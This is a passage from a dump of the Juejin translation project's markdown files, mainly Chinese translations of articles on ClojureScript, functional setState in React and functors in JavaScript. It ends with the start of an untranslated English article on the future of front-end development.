**因为缺乏熟悉的框架和工具吗?** 这感觉上可能是个原因,但 Javascript 中有的东西, Clojurescript 都有与之对应的: [re-frame](https://github.com/Day8/re-frame) 对应 Redux、[reagent](https://github.com/reagent-project/reagent) 对应 React、[figwheel](https://github.com/bhauman/lein-figwheel) 对应 Webpack/热加载、[leiningen](https://github.com/technomancy/leiningen) 对应 yarn/npm、Clojurescript 对应 Underscore/Lodash。 **是因为括号的问题使得这门语言太难写了吗?** 这方面也许谈的还不够多,但[我们不必自己来区分圆括号方括号](https://shaunlebron.github.io/parinfer/) 。基本上,Parinfer 使得 Clojure 成为了空格语言。 **因为在工作中很难使用?** 可能是吧。它是一种新技术,就像 React 和 Redux 曾经那样,在某些时候也是很难推广的。即使也没什么技术限制 ——  Clojurescript 集成到现有代码库和集成 React 的方式是类似的。你可以把 Clojurescript 加入到已经存在的代码库中,每次重写一个文件的旧代码,新代码依然可以和未更改的旧代码交互。 **没有足够受欢迎?** 很不幸,我想这就是它的原因。我使用 JavaScript 一部分原因就是它拥有庞大的社区。Clojurescript 太小众了。我使用 React 的部分原因是它是由 Facebook 维护的。而 Clojure 的维护者是[花大量时间思考的留着长发的家伙](https://avatars2.githubusercontent.com/u/34045?v=3&s=400)。 有数量上的劣势,我认了。但“人多势众”否决了所有其他可能的因素。 假设有一条路通向 100 美元,它很不受欢迎,而另一条路通向 10 美元,它极其受欢迎,我会选择受欢迎的那条路吗? 恩,也许会的吧!那里有成功的先例。它一定比另一条路安全,因为更多的人选择了它。他们一定不会遇到什么可怕的事。而另一条路听起来美好,但我确定那一定是个陷阱。如果它像看起来那么美好,那么它就是最受欢迎的那条路了。 ![](https://cdn-images-1.medium.com/max/1600/1*Y6orLTOgb6JFfjVdANVgCQ.png) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/functional-setstate-is-the-future-of-react.md ================================================ > * 原文地址:[Functional setState is the future of React](https://medium.freecodecamp.com/functional-setstate-is-the-future-of-react-374f30401b6b#.p2n552w6l) > * 原文作者:[Justice Mba](https://medium.freecodecamp.com/@Daajust) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[reid3290](https://github.com/reid3290) > * 校对者:[sunui](https://github.com/sunui),[imink](https://github.com/imink) # React 未来之函数式 setState ![](https://cdn-images-1.medium.com/max/2000/1*K8A3aXts5rTCHYRcdHIR6g.jpeg) React 使得函数式编程在 JavaScript 领域流行了起来,这驱使大量框架采用 React 所推崇的基于组件的编程模式,函数式编程热正在大范围涌向 web 开发领域。 [![](https://ww3.sinaimg.cn/large/006tNc79gy1fdtapftrozj312i0fktao.jpg)](https://twitter.com/bluxte/status/819915171929948162) 但是 React 团队却还不“消停”,他们持续深耕,从 React(已经超神了!)中发掘出更多函数式编程的宝藏。 因此本文将展示深藏在 React 中的又一函数式“宝藏” —— **函数式(functional)setState**! 好吧,名字其实是我乱编的,而且这个技术也称不上是**新事物**或者是个秘密。这一模式内建于 React 中,但是只有少数 React 深耕者才知道,而且从未有过正式名称 —— 不过现在它有了,那就是**函数式 setState**! 正如 [Dan Abramov](https://medium.com/@dan_abramov) 所言,在**函数式 setState** 模式中,“组件 state 变化的声明可以和组件类本身独立开来”。 这? ### 你已经知道的是... React 是一个基于组件的 UI 库,组件基本上可以看作是一个接受某些属性然后返回 UI 元素的函数。 function User(props) { return (
      A pretty user
      ); } 组件可能需要持有并管理其 state。在这种情况下,一般将组件编写为一个类,然后在该类的 `constructor` 函数中初始化 state: class User { constructor () { this.state = { score : 0 }; } render () { return (
      This user scored **{this.state.score}**
      ); } } React 提供了一个用于管理 state 的特殊函数 —— `setState()`,其用法如下: class User { ... increaseScore () { this.setState({score : this.state.score + 1}); } ... } 注意 `setState()` 的作用机制:你传递给它一个**对象**,该对象含有 state 中你想要更新的部分。换句话说,该对象的键(keys)和组件 state 中的键相对应,然后 `setState()` 通过将该对象合并到 state 中来更新(或者说 *sets*)state。因此称为 “set-State”。 ### 你可能还不知道的是... 记住 `setState()` 的作用机制了吗?如果我告诉你说,`setState()` 不仅能接受一个对象,还能接受一个**函数**作为参数呢? 没错,`setState()` 确实可以接受一个函数作为参数。该函数接受该组件**前一刻**的 state 以及**当前**的 props 作为参数,计算和返回**下一刻**的 state。如下所示: this.setState(function (state, props) { return { score: state.score - 1 } }); 注意 `setState()` 本身是一个函数,而且我们传递了另一个函数给它作为参数(函数式编程,**函数式 setState**)。乍一看可能觉得这样写挺丑陋的,set-state 需要的步骤太多了。那为什么还要这样写呢? ### 为什么传递一个函数给 setState? 理由是,[state 的更新可能是异步的](https://facebook.github.io/react/docs/state-and-lifecycle.html#state-updates-may-be-asynchronous)。 思考一下调用 `setState()` 时[发生了什么](https://facebook.github.io/react/docs/reconciliation.html)。React 首先会将你传递给 `setState()` 的参数对象合并到当前 state 对象中,然后会启动所谓的 **reconciliation**,即创建一个新的 React Element tree(UI 层面的对象表示),和之前的 tree 作比较,基于你传递给 `setState()` 的对象找出发生的变化,最后更新 DOM。 呦!工作很多嘛!实际上,这还只是精简版总结。但一定要相信: > React 不会仅仅简单地 “set-state”。 考虑到所涉及的工作量,调用 `setState()` 并不一定会**即时**更新 state。 > 考虑到性能问题,React 可能会将多次 `setState()` 调用批处理(batch)为一次 state 的更新。 这又意味着什么呢? 首先,**“多次 `setState()` 调用”** 的意思是说在某个函数中调用了多次 `setState()`,例如: ``` ... state = {score : 0}; // 多次 setState() 调用 increaseScoreBy3 () { this.setState({score : this.state.score + 1}); this.setState({score : this.state.score + 1}); this.setState({score : this.state.score + 1}); } ... ``` 面对这种 **多次 `setState()` 调用** 的情况,为了避免重复做上述大量的工作,React 并不会真地**完整调用三次** "set-state";相反,它会机智地告诉自己:“哼!我才不要‘愚公移山’三次呢,每次还得更新部分 state。不行,我得找个‘背包’,把这些部分更新打包装好,一次性搞定。”朋友们,这就是所谓的**批处理**啊! 记住传递给 `setState()` 的纯粹是个对象。现在,假设 React 每次遇到 **多次 `setState()` 调用**都会作上述批处理过程,即将每次调用 `setState()` 时传递给它的所有对象合并为一个对象,然后用这个对象去做真正的 `setState()`。 在 JavaScript 中,对象合并可以这样写: const singleObject = Object.assign( {}, objectFromSetState1, objectFromSetState2, objectFromSetState3 ); 这种写法叫作 **object 组合(composition)**。 在 JavaScript 中,对象“合并(merging)”或者叫对象**组合(composing)**的工作机制如下:如果传递给 `Object.assign()` 的多个对象有相同的键,那么**最后一个**对象的值会“胜出”。例如: const me = {name : "Justice"}, you = {name : "Your name"}, we = Object.assign({}, me, you); we.name === "Your name"; //true console.log(we); // {name : "Your name"} 因为 `you` 是最后一个合并进 `we` 中的,因此 `you` 的 `name` 属性的值 “Your name” 会覆盖 `me` 的 `name` 属性的值。因此 `we` 的 `name` 属性的值最终为 “Your name”,所以说 `you` 胜了! 综上所述,如果你多次调用 `setState()` 函数,每次都传递给它一个对象,那么 React 就会将这些对象**合并**。也就是说,基于你传进来的多个对象,React 会**组合**出一个新对象。如果这些对象有同名的属性,那么就会取**最后一个**对象的属性值,对吧? 这意味着,上述 `increaseScoreBy3` 函数的最终结果会是 1 而不是 3。因为 React 并不会按照 `setState()` 的调用顺序**即时**更新 state,而是首先会将所有对象合并到一起,得到 `{score : this.state.score + 1}`,然后仅用该对象进行一次 “set-state”,即 `User.setState({score : this.state.score + 1}`。 需要搞清楚的是,给 `setState()` 传递对象本身是没有问题的,问题出在当你想要基于之前的 state 计算出下一个 state 时还给 `setState()` 传递对象。因此可别这样做了,这是不安全的! > 因为 **`this.props`** 和 **`this.state`** 可能是异步更新的,你不能依赖这些值计算下一个 state。 下面 [Sophia Shoemaker](https://medium.com/@shopsifter) 写的一个例子展示了上述问题,细细把玩一番吧,留意其中好坏两种解决方案。 [代码链接](http://codepen.io/mrscobbler/pen/JEoEgN) ### 让函数式 setState 来拯救你 如果你还未曾把玩上面的例子,我还是强烈建议你玩一玩,因为这有利于你理解本文的核心概念。 在把玩上述例子的时候,你肯定注意到了 **setState** 解决了我们的问题。但究竟是如何解决的呢? 让我们请教一下 React 界的 Oprah(译者注:非知名脱口秀主持人)—— Dan。 [![](https://ww3.sinaimg.cn/large/006tNc79gy1fdtasm2y6fj313o0u6q6h.jpg)](https://twitter.com/dan_abramov/status/824309659775467527?ref_src=twsrc%5Etfw) 注意看他给出的答案,当你编写函数式 setState 的时候, > 更新操作会形成一个任务队列,稍后会按其调用顺序依次执行。 因此,当面对**多次`函数式 setState()` 调用**时,React 并不会将对象合并(显然根本没有对象让它合并),而是会**按调用顺序**将这些函数**排列**起来。 之后,React 会依次调用**队列**中的函数,传递给它们**前一刻**的 state —— 如果当前执行的是队列中的第一个函数式 `setState()` ,那么就是在该函数式 `setState()` 调用之前的 state;否则就是最近一次函数式 `setState()` 调用并更新了 state 之后的 state。通过这种机制,React 达到 state 更新的目的。 话说回来,我还是觉得代码更有说服力。只不过这次我们会“伪造”点东西,虽然这不是 React 内部真正的做法,但也基本是这么个意思。 还有,考虑到代码简洁问题,下面会使用 ES6,当然你也可以用 ES5 重写一下。 首先,创建一个组件类。在这个类里,创建一个**伪造**的 `setState()` 方法。该组件会使用 `increaseScoreBy3()` 方法来多次调用函数式 setState。最后,会仿照 React 的做法实例化该类。 class User{ state = {score : 0}; //“伪造” setState setState(state, callback) { this.state = Object.assign({}, this.state, state); if (callback) callback(); } // 多次函数式 setState 调用 increaseScoreBy3 () { this.setState( (state) => ({score : state.score + 1}) ), this.setState( (state) => ({score : state.score + 1}) ), this.setState( (state) => ({score : state.score + 1}) ) } } const Justice = new User(); 注意 setState 还有一个可选的参数 —— 一个回调函数,如果传递了这个参数,那么 React 就会在 state 更新后调用它。 现在,当用户调用 `increaseScoreBy3()` 后,React 会将多次函数式 setState 调用排成一个队列。本文旨在阐明为什么函数式 setState 是安全的,因此不会在此模拟上述逻辑。但可以想象,所谓“队列化”的处理结果应该是一个函数数组,类似于: const updateQueue = [ (state) => ({score : state.score + 1}), (state) => ({score : state.score + 1}), (state) => ({score : state.score + 1}) ]; 最后模拟更新过程: // 按序递归式更新 state function updateState(component, updateQueue) { if (updateQueue.length === 1) { return component.setState(updateQueue[0](component.state)); } return component.setState( updateQueue[0](component.state), () => updateState( component, updateQueue.slice(1)) ); } updateState(Justice, updateQueue); 诚然,这些代码并不能称之为优雅,你肯定能写得更好。但核心概念是,使用**函数式 setState**,你可以传递一个函数作为其参数,当执行该函数时,React 会将更新后的 state 复制一份并传递给它,这便起到了更新 state 的作用。基于上述机制,函数式 setState 便可基于**前一刻的 state** 来更新当前 state。 下面是这个例子的完整代码,请细细把玩以充分理解上述概念(或许还可以改得更优雅些)。 [![](https://ww3.sinaimg.cn/large/006tNc79gy1fdtatkotz1j314g0ao3zp.jpg)](http://jsbin.com/najewe/edit?js,console) 一番把玩过后,让我们来弄清为何将函数式 setState 称之为“宝藏”。 ### React 最为深藏不露的秘密 至此,我们已经深入探讨了为什么多次函数式 setState 在 React 中是安全的。但是我们还没有给函数式 setState 下一个完整的定义:“独立于组件类之外声明 state 的变化”。 过去几年,setting-state 的逻辑(即传递给 `setState()` 的对象或函数)一直都存在于组件类内部,这更像是命令式(imperative)而非 声明式(declarative)。(译者注:imperative 和 declarative 的区别参见 [stackoverflow上的问答](http://stackoverflow.com/questions/1784664/what-is-the-difference-between-declarative-and-imperative-programming)) 不过,今天我将向你展示新出土的宝藏 —— **React 最为深藏不露的秘密**: [![](https://ww4.sinaimg.cn/large/006tNc79gy1fdtau6cvhbj31620qmn0o.jpg)](https://twitter.com/dan_abramov/status/824308413559668744?ref_src=twsrc%5Etfw) 感谢 [Dan Abramov](https://medium.com/@dan_abramov)! 这就是函数式 setState 的强大之处 —— 在组件类**外部**声明 state 的更新逻辑,然后在组件类**内部**调用之。 // 在组件类之外 function increaseScore (state, props) { return {score : state.score + 1} } class User{ ... // 在组件类之内 handleIncreaseScore () { this.setState(increaseScore) } ... } 这就叫做 declarative!组件类不用再关心 state 该如何更新,它只须声明它想要的更新**类型**即可。 为了充分理解这样做的优点,不妨设想如下场景:你有一些很复杂的组件,每个组件的 state 都由很多小的部分组成,基于 action 的不同,你必须更新 state 的不同部分,每一个更新函数都有很多行代码,并且这些逻辑都存在于组件内部。不过有了函数式 setState,再也不用面对上述问题了! 此外,我个人偏爱小而美的模块;如果你和我一样,你就会觉得现在这模块略显臃肿了。基于函数式 setState,你就可以将 state 的更新逻辑抽离为一个模块,然后在组件中引入和使用该模块。 import {increaseScore} from "../stateChanges"; class User{ ... // 在组件类之内 handleIncreaseScore () { this.setState(increaseScore) } ... } 而且你还可以在其他组件中复用 increaseScore 函数 —— 只须引入模块即可。 函数式 setState 还能用于何处呢? 简化测试! [![](https://ww1.sinaimg.cn/large/006tNc79gy1fdtav1aeajj313s0yujvy.jpg)](https://twitter.com/dan_abramov/status/824310320399319040/photo/1?ref_src=twsrc%5Etfw) 你还可以传递**额外**的参数用于计算下一个 state(这让我脑洞大开...#funfunFunction)。 [![](https://ww1.sinaimg.cn/large/006tNc79gy1fdtavhi1ofj3132108789.jpg)](https://twitter.com/dan_abramov/status/824314363813232640?ref_src=twsrc%5Etfw) 更多精彩,敬请期待... ### [React 未来式](https://github.com/reactjs/react-future/tree/master/07%20-%20Returning%20State) ![](https://cdn-images-1.medium.com/max/1600/0*uInBa_PPwz5aLo0j.jpg) 最近几年,React 团队一直都致力于更好地实现 [stateful functions](https://github.com/reactjs/react-future/blob/master/07%20-%20Returning%20State/01%20-%20Stateful%20Functions.js)。 函数式 setState 看起来就是这个问题的正确答案(也许吧)。 Hey, Dan!还有什么最后要说的吗? [![](https://ww1.sinaimg.cn/large/006tNc79gy1fdtavvsxt1j31260cuwg0.jpg)](https://twitter.com/dan_abramov/status/824315688093421568?ref_src=twsrc%5Etfw) 如果你阅读至此,估计就会和我一样兴奋了。即刻开始体验函数式 **setState** 吧! 欢迎扩散,欢迎吐槽([Twitter](https://twitter.com/Daajust))。 Happy Coding! > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/functors-categories.md ================================================ > * 原文地址:[Functors & Categories](https://medium.com/javascript-scene/functors-categories-61e031bac53f) > * 原文作者:[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[yoyoyohamapi](https://github.com/yoyoyohamapi) > * 校对者:[avocadowang](https://github.com/avocadowang) [Aladdin-ADD](https://github.com/Aladdin-ADD) # Functor 与 Category (软件编写)(第六部分) Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) (译注:该图是用 PS 将烟雾处理成方块状后得到的效果,参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。)) > 注意:这是 “软件编写” 系列文章的第六部分,该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件(compositional software)技术(译注:关于软件可组合性的概念,参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability))。后续还有更多精彩内容,敬请期待! > [<上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/reduce-composing-software.md) | [<< 返回第一章](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md) 所谓 **functor(函子)**,是能够对其进行 map 操作的对象。换言之,**functor** 可以被认为是一个容器,该容器容纳了一个值,并且暴露了一个接口(译注:即 map 接口),该接口使得外界的函数能够获取容器中的值。所以当你见到 **functor**,别被其来自范畴学的名字唬住,简单把他当做个 *“mappable”* 对象就行。 **“functor”** 一词源于范畴学。在范畴学中,一个 functor 代表了两个范畴(category)间的映射。简单说来,一个 **范畴** 是一系列事物的分组,这里的 “事物” 可以指代一切的值。对于编码来说,一个 functor 通常代表了一个具有 `.map()` 方法的对象,该方法能够将某一集合映射到另一集合。 上文说到,一个 functor 可以被看做是一个容器,比如我们将其看做是一个盒子,盒子里面容纳了一些事物,或者空空如也,最重要的是,盒子暴露了一个 mapping(映射)接口。在 JavaScript 中,数组对象就是 functor 的绝佳例子(译注:`[1,2,3].map(x => x + 1)`),但是,其他类型的对象,只要能够被 map 操作,也可以算作是 functor,这些对象包括了单值对象(single valued-objects)、流(streams)、树(trees)、对象(objects)等等。 对于如数组和流等其他这样的集合(collections)来说,`.map()` 方法指的是,在集合上进行迭代操作,在此过程中,应用一个预先指定的函数对每次迭代到的值进行处理。但是,不是所有的 functor 都可以被迭代。 在 JavaScript 中,数组和 Promise 对象都是 **functor**(Promise 对象虽然没有 `.map()` 方法,但其 `.then()` 方法也遵从 functor 的定律),除此之外,非常多的第三方库也能够将各种各样的一般事物给转换成 functor(译注:大名鼎鼎的 [Bluebird](https://github.com/petkaantonov/bluebird/) 就能将异步过程封装为 Promise functor)。 在 Haskell 中,functor 类型被定义为如下形式: ``` fmap :: (a -> b) -> f a -> f b ``` fmap 接受一个函数参数,该函数接受一个参数 `a`,并返回一个 `b`,最终,fmap 完成了从 `f a` 到 `f b` 的映射。`f a` 及 `f b` 可以被读作 “一个 `a` 的 functor” 和“一个 `b` 的 functor”,亦即 `f a` 这个容器容纳了 `a`,`f b` 这个容器容纳了 `b`。 使用一个 functor 是非常简单的,仅需要调用 `map()` 方法即可: ``` const f = [1, 2, 3]; f.map(double); // [2, 4, 6] ``` ### Functor 定律 ### 一个范畴含有两个基本的定律: 1. 同一性(Identity) 2. 组合性(Composition) 由于 functor 是两个范畴间的映射,其就必须遵守同一性和组合性,二者也构成了 functor 的基本定律。 ### 同一性 ### 如果你将函数(`x => x`)传入 `f.map()`,对任意的一个 functor `f`,`f.map(x => x) == f`。 ``` const f = [1, 2, 3]; f.map(x => x); // [1, 2, 3] ``` ### 组合性 ### functor 还必须具有组合性:`F.map(x => f(g(x))) == F.map(g).map(f)` 函数组合是将一个函数的输出作为另一个函数输入的过程。例如,给定一个值 `x`及函数 `f` 和函数 `g`,函数的组合就是 `(f ∘ g)(x)`(通常简写为 `f ∘ g`,简写形式已经暗示了 `(x)`),其意味着 `f(g(x))`。 很多函数式编程的术语都源于范畴学,而范畴学的实质即是组合。初看范畴学,就像初次进行高台跳水或者乘坐过山车,慌张,恐惧,但是并不难完成。你只需明确下面几个范畴学基础要点: - 一个范畴(category)是一个容纳了一系列对象及对象间箭头(`->`)的集合。 - 箭头只是形式上的描述,实际上,箭头代表了态射(morphismms)。在编程中,态射可以被认为是函数。 - 对于任何被箭头相连接的对象,如 `a -> b -> c`,必须存在一个 `a -> c ` 的组合。 - 所有的箭头表示都代表了组合(即便这个对象间的组合只是一个同一(identity)箭头:`a->c`)。所有的对象都存在一个同一箭头,即存在同一态射(`a -> a`)。 如果你有一个函数 `g`,该函数接受一个参数 `a` 并且返回一个 `b`,另一个函数 `f` 接受一个 `b` 并返回一个 `c`。那么,必然存在一个函数 `h`,其代表了 `f` 及 `g` 的组合。而 `a -> c` 的组合,就是 `f ∘ g`(读作`f` **紧接着** `g`),进而,也就是 `h(x) = f(g(x))`。函数组合的方向是由右向左的,这也就是就是 `f ∘ g` 常被叫做 `f` **紧接着** `g` 的原因。 函数组合是满足结合律的,这就意味着你在组合多个函数时,免去了添加括号的烦恼: ``` h∘(g∘f) = (h∘g)∘f = h∘g∘f ``` 让我们再看一眼 JavaScript 中组合律: 给定一个 functor,`F`: ``` const F = [1, 2, 3]; ``` 下面的两段是等效的: ``` F.map(x => f(g(x))); // 等效于...... F.map(g).map(f); ``` > 译注:functor 中函数组合的结合率可以被理解为:对 functor 中保存的值使用组合后的函数进行 map,等效于先后对该值用不同的函数进行 map。 ### Endofunctors(自函子) ### 一个 endofunctor(自函子)是一个能将一个范畴映射回相同范畴的 functor。 一个 functor 能够完成任意范畴间映射: `F a -> F b` 一个 endofunctor 能够完成相同范畴间的映射:`F a -> F a` 在这里,`F` 代表了一个 **functor 类型**,而 `a` 代表了一个范畴变量(意味着其能够代表任意的范畴,无论是一个集合,还是一个包含了某一数据类型所有可能取值的范畴)。 而一个 monad 则是一个 endofunctor,先记住下面这句话: > “monad 是 endofunctor 范畴的 monoids(幺半群),有什么问题?”(译注:这句话的出处在该系列第一篇已有提及) 现在,我们希望第一篇提及的这句话能在之后多一点意义,monoids(幺半群)及 monad 将在之后作介绍。 ### 自定义一个 Functor ### 下面将展示一个简单的 functor 例子: ``` const Identity = value => ({ map: fn => Identity(fn(value)) }); ``` 显然,其满足了 functor 定律: ``` // trace() 是一个简单的工具函数来帮助审查内容 // 内容 const trace = x => { console.log(x); return x; }; const u = Identity(2); // 同一性 u.map(trace); // 2 u.map(x => x).map(trace); // 2 const f = n => n + 1; const g = n => n * 2; // 组合性 const r1 = u.map(x => f(g(x))); const r2 = u.map(g).map(f); r1.map(trace); // 5 r2.map(trace); // 5 ``` 现在,你可以对存在该 functor 中的任何数据类型进行 map 操作,就像你对一个数组进行 map 时那样。这简直太美妙了。 上面的代码片展示了 JavaScript 中 functor 的简单实现,但是其缺失了 JavaScript 中常见数据类型的一些特性。现在我们逐个添加它们。首先,我们会想到,假如能够直接通过 + 操作符操作我们的 functor 是不是很好,就像我们在数值或者字符串对象间使用 `+` 号那样。 为了使该想法变现,我们首先要为该 functor 对象添加 `.valueOf()` 方法 —— 这可被看作是提供了一个便捷的渠道来将值从 functor 盒子中取出。 ``` const Identity = value => ({ map: fn => Identity(fn(value)), valueOf: () => value, }); const ints = (Identity(2) + Identity(4)); trace(ints); // 6 const hi = (Identity('h') + Identity('i')); trace(hi); // "hi" ``` 现在代码更漂亮了。但是如果我们还想要在控制台审查 `Identity` 实例呢?如果控制台能够输出 `"Identity(value)"` 就太好了,为此,我们只需要添加一个 `.toString()` 方法即可(译注:亦即重载原型链上原有的 `.toString()` 方法): ``` toString: () => `Identity(${value})`, ``` 代码又有所进步。现在,我们可能也想 functor 能够满足标准的 JavaScript 迭代协议(译注:[MDN - 迭代协议](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Iteration_protocols))。为此,我们可以为 `Identity` 添加一个自定义的迭代器: ``` [Symbol.iterator]: () => { let first = true; return ({ next: () => { if (first) { first = false; return ({ done: false, value }); } return ({ done: true }); } }); }, ``` 现在,我们的 functor 还能这样工作: ``` // [Symbol.iterator] enables standard JS iterations: const arr = [6, 7, ...Identity(8)]; trace(arr); // [6, 7, 8] ``` 假如你想借助 `Identity(n)` 来返回包含了 `n+1`,`n+2` 等等的 Identity 数组,这非常容易: ``` const fRange = ( start, end ) => Array.from( {length: end - start + 1}, (x, i) => Identity(i + start) ); ``` > 译注:[MDN -- Array.from()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/from) 但是,如果你想上面的操作方式能够应用于任何 functor,该怎么办?假如我们规定了每种数据类型对应的实例必须有一个关于其构造函数的引用,那么你可以这样改造之前的逻辑: ``` const fRange = ( start, end ) => Array.from( {length: end - start + 1}, // 将 `Identity` 变更为 `start.constructor` (x, i) => start.constructor(i + start) ); const range = fRange(Identity(2), 4); range.map(x => x.map(trace)); // 2, 3, 4 ``` 假如你还想知道一个值是否在一个 functor 中,又怎么办?我们可以为 `Identity` 添加一个静态方法 `.is()` 来进行检测,另外,我们也顺便添加了一个静态的 `.toString()` 方法来告知这个 functor 的种类: ``` Object.assign(Identity, { toString: () => 'Identity', is: x => typeof x.map === 'function' }); ``` 现在,我们整合一下上面的代码片: ``` const Identity = value => ({ map: fn => Identity(fn(value)), valueOf: () => value, toString: () => `Identity(${value})`, [Symbol.iterator]: () => { let first = true; return ({ next: () => { if (first) { first = false; return ({ done: false, value }); } return ({ done: true }); } }); }, constructor: Identity }); Object.assign(Identity, { toString: () => 'Identity', is: x => typeof x.map === 'function' }); ``` 注意,无论是 functor,还是 endofunctor,不一定需要上述那么多的条条框框。以上工作只是为了我们在使用 functor 时更加便捷,而非必须。一个 functor 的所有需求只是一个满足了 functor 定律 `.map()` 接口。 ### 为什么要使用 functor? ### 说 functor 多么多么好不是没有理由的。最重要的一点是,functor 作为一种抽象,能让开发者以同一种方式实现大量有用的,能够操纵任何数据类型的事物。例如,如果你想要在 functor 中值不为 `null` 或者不为 `undefined` 前提下,构建一串地链式操作: ``` // 创建一个 predicte const exists = x => (x.valueOf() !== undefined && x.valueOf() !== null); const ifExists = x => ({ map: fn => exists(x) ? x.map(fn) : x }); const add1 = n => n + 1; const double = n => n * 2; // undefined ifExists(Identity(undefined)).map(trace); // null ifExists(Identity(null)).map(trace); // 42 ifExists(Identity(20)) .map(add1) .map(double) .map(trace) ; ``` 函数式编程一直探讨的是将各个小的函数进行组合,以创建出更高层次的抽象。假如你想要一个更通用的,能够工作在任何 functor 上的 `map()` 方法,那么你可以通过参数的部分应用(译注:即 [偏函数](https://en.wikipedia.org/wiki/Partial_application))来完成。 你可以使用自己喜欢的 curry 化方法(译注:Underscore,Lodash,Ramda 等第三方库都提供了 curry 化一个函数的方法),或者使用下面这个之前篇章提到的,基于 ES6 的,充满魅力的 curry 化方法来实现参数的部分应用: ``` const curry = ( f, arr = [] ) => (...args) => ( a => a.length === f.length ? f(...a) : curry(f, a) )([...arr, ...args]); ``` 现在,我们可以自定义 `map()` 方法: ``` const map = curry((fn, F) => F.map(fn)); const double = n => n * 2; const mdouble = map(double); mdouble(Identity(4)).map(trace); // 8 ``` ### 总结 ### functor 是能够对其进行 map 操作的对象。更进一步地,一个 functor 能够将一个范畴映射到另一个范畴。一个 functor 甚至可以将某一范畴映射回相同范畴(例如 endofunctor)。 一个范畴是一个容纳了对象和对象间箭头的集合。箭头代表了态射(也可理解为函数或者组合)。一个范畴中的每个对象都具有一个同一态射(`x -> x`)。对于任何链接起来的对象 `A -> B -> C`,必存在一个 `A -> C` 的组合。 总之,functor 是一个极佳的高阶抽象,能然你创建各种各样的通用函数来操作任何的数据类型。 **未完待续……** ### 接下来 ### 想学习更多 JavaScript 函数式编程吗? [跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/),机不可失时不再来! [](https://ericelliottjs.com/product/lifetime-access-pass/) **Eric Elliott** 是 [**“编写 JavaScript 应用”**](http://pjabook.com) (O’Reilly) 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献,例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家,包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。 大多数时间,他都在 San Francisco Bay Area,同这世上最美丽的女子在一起。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/future-front-end-web-development.md ================================================ > * 原文地址:[What is the Future of Front End Web Development?](https://css-tricks.com/future-front-end-web-development/) > * 原文作者:本文已获 [Chris Coyier](https://css-tricks.com/author/chriscoyier/) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者: > * 校对者: # What is the Future of Front End Web Development? I was asked to do a little session on this the other day. I'd say I'm underqualified to answer the question, as is any single person. If you really needed hard answers to this question, you'd probably look to aggregate data of survey results from lots of developers. I am a _little_ qualified though. Aside from running this site which requires me to think about front end development every day and exposes me to lots of conversations about front end development, I am an active developer myself. I work on CodePen, which is quite a hive of front end developers. I also talk about it every week on ShopTalk Show with a wide variety of guests, and I get to travel all around going to conferences largely focused on front end development. So let me take a stab at it. Again, disclaimers: 1. This is non-comprehensive 2. These are just loose guesses 3. I'm just one dude ### User expectations on the rise. This sets the stage: What websites are being asked to do is rising. Developers are being asked to build very complicated things very quickly and have them work very well and very fast. ### New JavaScript is here. As fabulous as jQuery was for us, it's over for new development. And I don't just mean ES6+ has us covered now, but that's true. We got ourselves into trouble by working with the DOM too directly and treating it like like a state store. As I opened with, user expectations, and thus complexity, are on the rise. We need to manage that complexity. **State** is the big concept, as [we talked about](https://css-tricks.com/project-need-react/). Websites will be built by thinking of what state needs to be managed, then building the right stores for that state. The new frameworks are here. Ember, React, Vue, Angular, Svelte, whatever. They accommodate the idea of working with state, components, and handling the DOM for us. Now they can compete on speed, features, and API niceity. TypeScript also seems like a long-term winner because it can work with whatever and brings stability and a better editor experience for developers. ### We're not building pages, we're building systems. Style guides. Design systems. Pattern 